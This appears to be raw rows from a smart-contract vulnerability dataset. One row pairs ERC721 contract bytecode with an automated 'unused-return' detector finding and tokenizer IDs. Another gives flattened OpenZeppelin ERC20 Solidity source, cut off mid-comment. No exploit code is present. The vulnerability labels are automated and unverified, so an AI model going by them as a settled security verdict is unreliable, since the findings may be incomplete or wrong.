038216610dfc5760405162461bcd60e51b815260040180806020018281038252602a81526020018061274d602a913960400191505060405180910390fd5b6001600160a01b0382166000908152600260205260409020610bb2906115a2565b610e497f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a610a5f6114cd565b610e9a576040805162461bcd60e51b815260206004820152601e60248201527f4d75737420686176652070617573657220726f6c6520746f2070617573650000604482015290519081900360640190fd5b610c9e611a1b565b6000828152602081905260408120610baf9083611806565b6000828152602081905260408120610baf9083611a9e565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156108ec5780601f106108c1576101008083540402835291602001916108ec565b600081565b610f406114cd565b6001600160a01b0316826001600160a01b03161415610fa6576040805162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015290519081900360640190fd5b8060066000610fb36114cd565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610ff76114cd565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b61104e6110486114cd565b836115ad565b6110895760405162461bcd60e51b81526004018080602001828103825260318152602001806128936031913960400191505060405180910390fd5b61109584848484611ab3565b50505050565b60606110a6826114c0565b6110e15760405162461bcd60e51b815260040180806020018281038252602f815260200180612843602f913960400191505060405180910390fd5b60008281526009602090815260408083208054825160026001831615610100026000190190921691909104601f8101859004850282018501909352828152929091908301828280156111745780601f1061114957610100808354040283529160200191611174565b820191906000526020600020905b81548152906001019060200180831161115757829003601f168201915b505050505090506000611185610d54565b90508051600014156111995750905061085b565b81511561125a5780826040516020018083805190602001908083835b602083106111d45780518252601f1990920191602091820191016111b5565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b6020831061121c5780518252601f1990920191602091820191016111fd565b6001836020036101000a038019825116818451168082178552505050505050905001925050506040516020818303038152906040529250505061085b565b8061126485611b05565b6040516020018083805190602001908083835b602083106112965780518252601f199092019160209182019101611277565b51815160209384036101000a600019018019909216911617905285519190930192850191508083835b602083106112de5780518252601f1990920191602091820191016112bf565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050919050565b6000818152602081905260408120610bb2906115a2565b61135f7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6610a5f6114cd565b6113b0576040805162461bcd60e51b815260206004820152601d60248201527f4d7573742068617665206d696e74657220726f6c6520746f206d696e74000000604482015290519081900360640190fd5b60006113bc600c611be0565b90506113c88382611be4565b6113d2818361153f565b610a2e600c611d12565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b60008281526020819052604090206002015461141e90610a5f6114cd565b610c0f5760405162461bcd60e51b81526004018080602001828103825260308152602001806126e56030913960400191505060405180910390fd5b7f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a81565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b6000610baf836001600160a01b038416611d1b565b6000610bb2600383611d65565b3390565b600081815260056020526040902080546001600160a01b0319166001600160a01b038416908117909155819061150682610d2c565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b611548826114c0565b6115835760405162461bcd60e51b815260040180806020018281038252602c8152602001806127ee602c913960400191505060405180910390fd5b60008281526009602090815260409091208251610a2e92840190612505565b6000610bb282611be0565b60006115b8826114c0565b6115f35760405162461bcd60e51b815260040180806020018281038252602c8152602001806126b9602c913960400191505060405180910390fd5b60006115fe83610d2c565b9050806001600160a01b0316846001600160a01b031614806116395750836001600160a01b031661162e846108f6565b6001600160a01b0316145b806116495750611649818561147d565b949350505050565b826001600160a01b031661166482610d2c565b6001600160a01b0316146116a95760405162461bcd60e51b815260040180806020018281038252602981526020018061281a6029913960400191505060405180910390fd5b6001600160a01b0382166116ee5760405162461bcd60e51b81526004018080602001828103825260248152602001806126956024913960400191505060405180910390fd5b6116f9838383611d71565b6117046000826114d1565b6001600160a01b03831660009081526002602052604090206117269082611d7c565b506001600160a01b03821660009081526002602052604090206117499082611d88565b5061175660038284611d94565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008281526020819052604090206117b590826114ab565b15610aa9576117c26114cd565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000610baf8383611daa565b600082815260208190526040902061182a9082611e0e565b15610aa9576118376114cd565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b611883610d23565b6118cb576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b600b805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa6118fe6114cd565b604080516001600160a01b039092168252519081900360200190a1565b600061192682610d2c565b905061193481600084611d71565b61193f6000836114d1565b600082815260096020526040902054600260001961010060018416150201909116041561197d57600082815260096020526040812061197d91612591565b6001600160a01b038116600090815260026020526040902061199f9083611d7c565b506119ab600383611e23565b5060405182906000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b60008080806119f78686611e2f565b9097909650945050505050565b6000611a11848484611eaa565b90505b9392505050565b611a23610d23565b15611a68576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b600b805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586118fe6114cd565b6000610baf836001600160a01b038416611f74565b611abe848484611651565b611aca84848484611f8c565b6110955760405162461bcd60e51b81526004018080602001828103825260328152602001806126636032913960400191505060405180910390fd5b606081611b2a57506040805180820190915260018152600360fc1b602082015261085b565b8160005b8115611b4257600101600a82049150611b2e565b60008167ffffffffffffffff81118015611b5b57600080fd5b506040519080825280601f01601f191660200182016040528015611b86576020820181803683370190505b50859350905060001982015b8315611bd757600a840660300160f81b82828060019003935081518110611bb557fe5b60200101906001600160f81b031916908160001a905350600a84049350611b92565b50949350505050565b5490565b6001600160a01b038216611c3f576040805162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015290519081900360640190fd5b611c48816114c0565b15611c9a576040805162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015290519081900360640190fd5b611ca660008383611d71565b6001600160a01b0382166000908152600260205260409020611cc89082611d88565b50611cd560038284611d94565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b80546001019055565b6000611d278383611f74565b611d5d57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610bb2565b506000610bb2565b6000610baf8383611f74565b610a2e8383836120f4565b6000610baf8383612143565b6000610baf8383611d1b565b6000611a1184846001600160a01b038516612209565b81546000908210611dec5760405162461bcd60e51b81526004018080602001828103825260228152602001806125e76022913960400191505060405180910390fd5b826000018281548110611dfb57fe5b9060005260206000200154905092915050565b6000610baf836001600160a01b038416612143565b6000610baf83836122a0565b815460009081908310611e735760405162461bcd60e51b81526004018080602001828103825260228152602001806127a06022913960400191505060405180910390fd5b6000846000018481548110611e8457fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008281526001840160205260408120548281611f455760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f0a578181015183820152602001611ef2565b50505050905090810190601f168015611f375780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50846000016001820381548110611f5857fe5b9060005260206000209060020201600101549150509392505050565b60009081526001919091016020526040902054151590565b6000611fa0846001600160a01b0316612374565b611fac57506001611649565b60006120ba630a85bd0160e11b611fc16114cd565b88878760405160240180856001600160a01b03168152602001846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612028578181015183820152602001612010565b50505050905090810190601f1680156120555780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b038381831617835250505050604051806060016040528060328152602001612663603291396001600160a01b038816919061237a565b905060008180602001905160208110156120d357600080fd5b50516001600160e01b031916630a85bd0160e11b1492505050949350505050565b6120ff838383610a2e565b612107610d23565b15610a2e5760405162461bcd60e51b815260040180806020018281038252602b815260200180612609602b913960400191505060405180910390fd5b600081815260018301602052604081205480156121ff578354600019808301919081019060009087908390811061217657fe5b906000526020600020015490508087600001848154811061219357fe5b6000918252602080832090910192909255828152600189810190925260409020908401905586548790806121c357fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610bb2565b6000915050610bb2565b60008281526001840160205260408120548061226e575050604080518082018252838152602080820184815286546001818101895560008981528481209551600290930290950191825591519082015586548684528188019092529290912055611a14565b8285600001600183038154811061228157fe5b9060005260206000209060020201600101819055506000915050611a14565b600081815260018301602052604081205480156121ff57835460001980830191908101906000908790839081106122d357fe5b90600052602060002090600202019050808760000184815481106122f357fe5b60009182526020808320845460029093020191825560019384015491840191909155835482528983019052604090209084019055865487908061233257fe5b6000828152602080822060026000199094019384020182815560019081018390559290935588815289820190925260408220919091559450610bb29350505050565b3b151590565b6060611a1184846000858561238e85612374565b6123df576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b6020831061241d5780518252601f1990920191602091820191016123fe565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461247f576040519150601f19603f3d011682016040523d82523d6000602084013e612484565b606091505b509150915061249482828661249f565b979650505050505050565b606083156124ae575081611a14565b8251156124be5782518084602001fd5b60405162461bcd60e51b8152602060048201818152845160248401528451859391928392604401919085019080838360008315611f0a578181015183820152602001611ef2565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261253b5760008555612581565b82601f1061255457805160ff1916838001178555612581565b82800160010185558215612581579182015b82811115612581578251825591602001919060010190612566565b5061258d9291506125d1565b5090565b50805460018160011615610100020316600290046000825580601f106125b75750610d0a565b601f016020900490600052602060002090810190610d0a91905b5b8082111561258d57600081556001016125d256fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732315061757361626c653a20746f6b656e207472616e73666572207768696c6520706175736564416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e744552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724552433732313a207472616e7366657220746f20746865207a65726f20616464726573734552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b654552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732314d657461646174613a2055524920736574206f66206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f7665644d7573742068617665206d696e74657220726f6c6520746f2073657420746f6b656e205552494552433732314275726e61626c653a2063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c66a26469706673582212201f7694e710db11c65e4d447ef02ba04a0592eea27f54ee7904e907c2a184a08a64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2487, 2278, 2546, 21057, 21619, 24087, 2581, 2063, 2620, 2549, 11329, 2549, 6305, 2683, 25746, 26187, 22610, 28311, 26224, 28756, 24594, 16703, 22022, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3904, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1020, 1025, 1013, 1013, 2112, 1024, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1030, 1017, 1012, 1018, 1012, 1014, 1013, 4769, 1013, 1008, 1008, 1008, 1030, 16475, 3074, 1997, 4972, 3141, 2000, 1996, 4769, 2828, 1008, 1013, 3075, 4769, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 2995, 2065, 1036, 4070, 1036, 2003, 1037, 3206, 1012, 1008, 1008, 1031, 2590, 1033, 1008, 1027, 1027, 1027, 1027, 1008, 2009, 2003, 25135, 2000, 7868, 2008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,042
0x961de339a81e11348db82d17d077b46a9abe219b
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not 